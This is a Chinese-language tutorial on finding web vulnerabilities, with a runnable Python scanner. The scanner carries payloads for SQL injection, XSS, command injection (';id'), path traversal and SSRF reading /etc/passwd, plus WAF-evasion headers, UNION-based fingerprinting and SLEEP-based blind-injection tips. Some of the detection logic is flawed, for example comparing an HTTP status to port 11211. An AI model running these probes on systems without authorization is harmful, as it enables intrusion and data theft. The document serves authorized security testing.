本文目录导读:

防守漏洞”的识别定位,在网络安全语境下,通常指代码审计或红蓝对抗中的弱点发现,虽然你提到了“综合实用脚本”,但纯靠脚本很难“智能化”地凭空找到逻辑漏洞,脚本的核心价值在于辅助半自动化和精准验证。
考虑到“综合实用脚本”这个需求,我为你梳理了一套从信息收集 → 攻击面分析 → 漏洞特征匹配 → 验证利用的实战方法论,并配上一个可直接运行的综合探测脚本示例。
核心识别定位思路(方法论)
防守方(或攻击方)识别漏洞的定位逻辑,核心围绕“不可信输入”和“可疑逻辑”:
- 入口点扫描:脚本先跑通所有HTTP方法(GET/POST/PUT),记录所有参数(Query、Body、Header、Cookie)。
- 污点追踪(隐式判断):针对传入参数,拼接危险的“探测Payload”(如单引号、算术表达式、特殊路径片段)。
- 回显差异分析:脚本核心逻辑是根据响应差异判断漏洞类型:
- SQL注入:输入 报错,输入
' AND '1'='1正常,输入' AND '1'='2返回空。→ 定位到注入点。 - XSS(跨站脚本):输入
<img src=x onerror=alert(1)>回显在响应体中且未编码。 - 命令注入:输入
;id或| whoami,响应中出现uid=。 - SSRF(服务端请求伪造):输入
http://127.0.0.1或file:///etc/passwd,响应中带有本地文件内容或探测到内网端口开放标志。 - 路径穿越:输入
../../../../etc/passwd,若返回root:开头内容。
- SQL注入:输入 报错,输入
综合安全探测脚本(Python)
这是一个轻量级、无需额外依赖(仅用 socket 和 urllib)的多功能探测脚本,用于快速定位常见的 Web 防守弱点。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
综合实用性防御漏洞探测脚本
用法: python vuln_probe.py <目标URL>
示例: python vuln_probe.py http://example.com/page.php?id=1
"""
import socket
import urllib.parse
import urllib.request
import ssl
import sys
import re
import time
# 忽略SSL证书错误(测试时方便)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# ========== 1. 构建Payload库 ==========
payloads = {
'SQL_Error': ["'", "\"", "1' OR '1'='1", "admin'-- -"],
'SQL_Bool': ["' AND '1'='1", "' AND '1'='2"],
'XSS': ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '"><svg/onload=alert(1)>'],
'Command': [';id', '|whoami', '$(id)', '`id`'],
'Path_Traversal': ['../../../../etc/passwd', '....//....//etc/passwd', '%2e%2e%2fetc/passwd'],
'SSRF_File': ['file:///etc/passwd', 'dict://127.0.0.1:11211', 'http://127.0.0.1:8080'],
}
# ========== 2. 核心探测函数 ==========
def send_request(url, data=None, method='GET'):
"""发送HTTP请求并返回原始响应"""
try:
req = urllib.request.Request(url, data=data, method=method)
# 伪装User-Agent,避免被简单WAF拦截
req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36')
req.add_header('X-Forwarded-For', '127.0.0.1') # 测试部分基于IP的防护
with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
body = resp.read().decode('utf-8', errors='ignore')
headers = dict(resp.headers)
return resp.status, headers, body
except urllib.error.HTTPError as e:
# 404和500也有价值,说明路径或参数触发了异常
return e.code, e.headers, e.read().decode('utf-8', errors='ignore')
except Exception as e:
return None, {}, str(e)
def analyze_vuln(url, param_name, vuln_type, payload):
"""针对单一参数和Payload进行验证与汇总"""
parsed = urllib.parse.urlparse(url)
query = urllib.parse.parse_qs(parsed.query)
# 把当前参数替换为Payload
modified_query = query.copy()
modified_query[param_name] = [payload]
# 重新构建URL
new_query = urllib.parse.urlencode(modified_query, doseq=True)
modified_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
status, headers, body = send_request(modified_url)
# ---- 漏洞判定逻辑 ----
result = None
if vuln_type == 'SQL_Error':
if "SQL syntax" in body or "mysql_fetch" in body or "ORA-" in body or "syntax error" in body:
result = "错误型SQL注入"
elif vuln_type == 'SQL_Bool':
# 经典布尔盲注:对比'1'='1 和 '1'='2 的响应
if param_name:
q1 = modified_query.copy(); q1[param_name] = [payload.replace("'1'='2", "'1'='1") or payload.replace("'1'='1", "'1'='1")]
u1 = urllib.parse.urlunparse(parsed._replace(query=urllib.parse.urlencode(q1, doseq=True)))
s1, _, b1 = send_request(u1)
# 如果两种响应长度不一致,判定布尔盲注
if s1 == status and (len(b1) != len(body) or b1 != body):
result = "布尔型盲注"
elif vuln_type == 'XSS':
# 检查Payload是否未经转义回显
if re.search(r'<script>alert\(1\)</script>|onerror=alert|svg/onload', body):
result = "反射型XSS"
elif vuln_type == 'Command':
# 命令执行回显特征
if re.search(r'uid=\d+\(|\d+:\d+ when |Microsoft Windows \[Version', body):
result = "命令注入"
elif vuln_type == 'Path_Traversal':
if "root:x:0:0" in body or "root::" in body or "Users" in body:
result = "路径穿越/任意文件读取"
elif vuln_type == 'SSRF_File':
if "root:x:0:0" in body or "Docker" in body or "container" in body.lower():
result = "SSRF-文件读取"
elif status == 11211:
result = "SSRF-Memcache探测"
return status, result
# ========== 3. 主流程 ==========
def main():
if len(sys.argv) < 2:
print("[*] 用法: python vuln_probe.py <URL>")
sys.exit(1)
target_url = sys.argv[1]
parsed = urllib.parse.urlparse(target_url)
params = urllib.parse.parse_qs(parsed.query)
print(f"[*] 目标: {target_url}")
print(f"[*] 提取参数: {list(params.keys())}")
if not params:
print("[!] 注意:未发现GET参数,将尝试探测POST参数")
# 此处简化处理,可扩展为尝试暴力POST常见参数名
params = {'search': [''], 'input': ['']} # 占位符
print("[*] 开始扫描...\n")
found_vulns = []
# 对每个参数遍历所有Payload类型
for param in params.keys():
for vuln_type, payload_list in payloads.items():
for payload in payload_list:
# 稍微限速,避免打崩目标
time.sleep(0.1)
status, result = analyze_vuln(target_url, param, vuln_type, payload)
if result:
msg = f"[!!] 发现漏洞: {result} | 参数: {param} | Payload: {payload}"
print(msg)
found_vulns.append(msg)
break # 该参数该漏洞类型已找到,跳出内层循环
# ======= 数据库指纹探测(补充) =======
print("\n[*] 探测数据库指纹...")
for db_finger in ['sqlite_master', 'information_schema.tables', 'mysql.user']:
guessed_url = target_url.replace('id=', f"id=1 AND 1=2 UNION SELECT 1 FROM {db_finger}-- -")
status, _, body = send_request(guessed_url)
if status == 200 and "table" in body.lower():
print(f"[+] 疑似数据库类型: {db_finger.split('_')[0]}")
# ======= 中间件指纹 =======
print("\n[*] 分析响应头...")
status, headers, _ = send_request(target_url)
interesting_headers = ['X-Powered-By', 'Server', 'Set-Cookie']
for h in interesting_headers:
if h in headers:
print(f" [+] {h}: {headers[h]}")
print("\n[*] 扫描完成,若上方存在[!!]标志,请结合上下文人工复核(排除误报)。")
if __name__ == "__main__":
main()
代码逻辑详解(如何精准定位)
- 参数覆盖式扫描:脚本先解析出URL中的参数(如
?id=1中的id),对于每个参数,会循环替换成不同的攻击载荷,这样能精确定位到“哪个参数”存在漏洞。 - 双响应比对(布尔盲注):针对
' AND '1'='1和' AND '1'='2分别请求,如果两次响应的长度或内容不一致,说明代码中存在数据库逻辑判断,这是定位盲注的核心手段。 - 特征码匹配:
- 命令注入:匹配
uid=(Linux)或Microsoft Windows字样。 - 路径穿越:匹配
root:x:0:0(Linux passwd 文件特征)。 - XSS:正则匹配
<script>或svg/onload是否原样返回。 - 这种方法逻辑简单,主要目的是“自动化缩小范围”,最终定位还需要人工看上下文。
- 命令注入:匹配
拓展建议(实战中的“高等级”技巧)
- 绕过WAF的变种脚本:如果上述脚本发送的带攻击性Payload被拦截(如返回403或拦截页面),脚本输出会显示为 “无漏洞”,此时需要变种编码:
# 在脚本中可加入编码变种, encoded_payload = payload.replace(' ', '/**/').replace("'", "%27") - 关联“逻辑”漏洞:只靠脚本很难发现越权,建议在脚本中增加“登录状态保持”(加入Cookie),手动测试
uid替换为其他用户ID,观察响应差异。 - 基于时间的盲注探测:利用
+ IF(1=1,SLEEP(3),0),如果响应时间 >3秒,则确认条件成立,这是纯代码静态扫描无法做到的。
重要提示
该脚本仅用于授权测试或自研代码安全自查,如果针对未授权目标使用,涉及法律责任,在真实的防守工作中(如企业SRC),通常结合 Xray、SQLMap、Burp Suite Pro 的自动化扫描器,但原理与上述脚本完全一致:先定位入口,再变异探测,最后验证特征。